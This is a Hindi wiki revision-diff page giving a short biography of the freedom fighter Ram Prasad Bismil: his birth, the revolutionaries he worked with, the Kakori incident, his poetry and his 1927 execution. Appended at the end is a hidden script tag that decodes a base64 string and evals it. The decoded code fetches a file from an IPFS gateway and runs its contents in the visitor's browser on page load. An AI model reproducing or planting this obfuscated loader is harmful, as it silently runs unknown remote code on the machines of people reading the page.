राम प्रसाद बिस्मिल: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
No edit summary
Line 2: Line 2:
==जीवन परिचय==
==जीवन परिचय==
====जन्म====
====जन्म====
पंडित रामप्रसाद ‘बिस्मिल’ का जन्म [[उत्तर प्रदेश]] के [[शाहजहाँपुर]] ज़िले में [[11 जून]], 1897 को हुआ। यह वह समय था जब देश में राष्ट्रीय आन्दोलन ज़ोरों पर था। देश में ब्रिटिश हुक़ूमत के ख़िलाफ़ एक ऐसी लहर उठने लगी थी जो पूरे अंग्रेज़ी शासन को लीलने के लिए बेताब हो चली थी। बिस्मिल में भी बचपन से ही ब्रिटिश हुक़ूमत के ख़िलाफ़ एक गहरी नफ़रत घर कर गई। [[अशफ़ाक़ुल्लाह ख़ान]], [[चन्द्रशेखर आज़ाद]], [[भगतसिंह]], [[राजगुरु]], [[सुखदेव]] और ठाकुर रोशनसिंह जैसे क्रांतिकारियों से सम्पर्क में आने के बाद आपने अंग्रेजों की नाक में दम करना शुरू कर दिया। ब्रिटिश साम्राज्य को दहला देने वाले [[काकोरी कांड]] को आपने ही अंजाम दिया था।
पंडित रामप्रसाद ‘बिस्मिल’ का जन्म [[उत्तर प्रदेश]] के [[शाहजहाँपुर]] ज़िले में [[11 जून]], 1897 को हुआ। यह वह समय था जब देश में राष्ट्रीय आन्दोलन ज़ोरों पर था। देश में ब्रिटिश हुक़ूमत के ख़िलाफ़ एक ऐसी लहर उठने लगी थी जो पूरे अंग्रेज़ी शासन को लीलने के लिए बेताब हो चली थी। बिस्मिल में भी बचपन से ही ब्रिटिश हुक़ूमत के ख़िलाफ़ एक गहरी नफ़रत घर कर गई। [[अशफ़ाक़ुल्लाह ख़ान]], [[चन्द्रशेखर आज़ाद]], [[भगतसिंह]], [[राजगुरु]], [[सुखदेव]] और ठाकुर रोशनसिंह जैसे क्रांतिकारियों से सम्पर्क में आने के बाद आपने अंग्रेज़ों की नाक में दम करना शुरू कर दिया। ब्रिटिश साम्राज्य को दहला देने वाले [[काकोरी कांड]] को आपने ही अंजाम दिया था।
इतना ही नहीं अपनी क़लम के माध्यम से भी आप ब्रिटिश हुक़ूमत की ऑंख की किरकिरी बन गए। ‘सरफ़रोशी की तमन्ना’ जैसा अमर गीत लिखकर आपने क्रांति की वो चिनग़ारी छेड़ी जिसने ज्वाला का रूप लेकर ब्रिटिश शासन के भवन को लाक्षागृह में परिवर्तित कर दिया। आपने बिस्मिल अज़ीमाबादी के नाम से भी काफ़ी शाइरी की। जीवन के अंतिम सफ़र में जब आपको गोरखपुर जेल भेजा गया तो आपने आत्मकथा भी लिखी।
इतना ही नहीं अपनी क़लम के माध्यम से भी आप ब्रिटिश हुक़ूमत की [[आँख]] की किरकिरी बन गए। ‘सरफ़रोशी की तमन्ना’ जैसा अमर गीत लिखकर आपने क्रांति की वो चिंगारी छेड़ी जिसने ज्वाला का रूप लेकर ब्रिटिश शासन के भवन को लाक्षागृह में परिवर्तित कर दिया। राम प्रसाद बिस्मिल ने 'बिस्मिल अज़ीमाबादी' के नाम से भी काफ़ी शाइरी की। जीवन के अंतिम सफ़र में जब आपको गोरखपुर जेल भेजा गया तो आपने आत्मकथा भी लिखी।
====मृत्यु====
====मृत्यु====
[[19 दिसम्बर]], 1927 को आपको देशभक्ति के अपराध में फाँसी दी गई।
[[19 दिसम्बर]], 1927 को आपको देशभक्ति के अपराध में फाँसी दी गई।

Revision as of 06:34, 6 June 2011

राम प्रसाद 'बिस्मिल' (जन्म- 11 जून, 1897 - मृत्यु- 19 दिसंबर, 1927) भारत के महान स्वतन्त्रता सेनानी ही नहीं, बल्कि उच्च कोटि के कवि, शायर, अनुवादक, बहुभाषाविद् व साहित्यकार भी थे जिन्होंने भारत की आज़ादी के लिये अपने प्राणों की आहुति दे दी।

जीवन परिचय

जन्म

पंडित रामप्रसाद ‘बिस्मिल’ का जन्म उत्तर प्रदेश के शाहजहाँपुर ज़िले में 11 जून, 1897 को हुआ। यह वह समय था जब देश में राष्ट्रीय आन्दोलन ज़ोरों पर था। देश में ब्रिटिश हुक़ूमत के ख़िलाफ़ एक ऐसी लहर उठने लगी थी जो पूरे अंग्रेज़ी शासन को लीलने के लिए बेताब हो चली थी। बिस्मिल में भी बचपन से ही ब्रिटिश हुक़ूमत के ख़िलाफ़ एक गहरी नफ़रत घर कर गई। अशफ़ाक़ुल्लाह ख़ान, चन्द्रशेखर आज़ाद, भगतसिंह, राजगुरु, सुखदेव और ठाकुर रोशनसिंह जैसे क्रांतिकारियों से सम्पर्क में आने के बाद आपने अंग्रेज़ों की नाक में दम करना शुरू कर दिया। ब्रिटिश साम्राज्य को दहला देने वाले काकोरी कांड को आपने ही अंजाम दिया था। इतना ही नहीं अपनी क़लम के माध्यम से भी आप ब्रिटिश हुक़ूमत की आँख की किरकिरी बन गए। ‘सरफ़रोशी की तमन्ना’ जैसा अमर गीत लिखकर आपने क्रांति की वो चिंगारी छेड़ी जिसने ज्वाला का रूप लेकर ब्रिटिश शासन के भवन को लाक्षागृह में परिवर्तित कर दिया। राम प्रसाद बिस्मिल ने 'बिस्मिल अज़ीमाबादी' के नाम से भी काफ़ी शाइरी की। जीवन के अंतिम सफ़र में जब आपको गोरखपुर जेल भेजा गया तो आपने आत्मकथा भी लिखी।

मृत्यु

19 दिसम्बर, 1927 को आपको देशभक्ति के अपराध में फाँसी दी गई।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>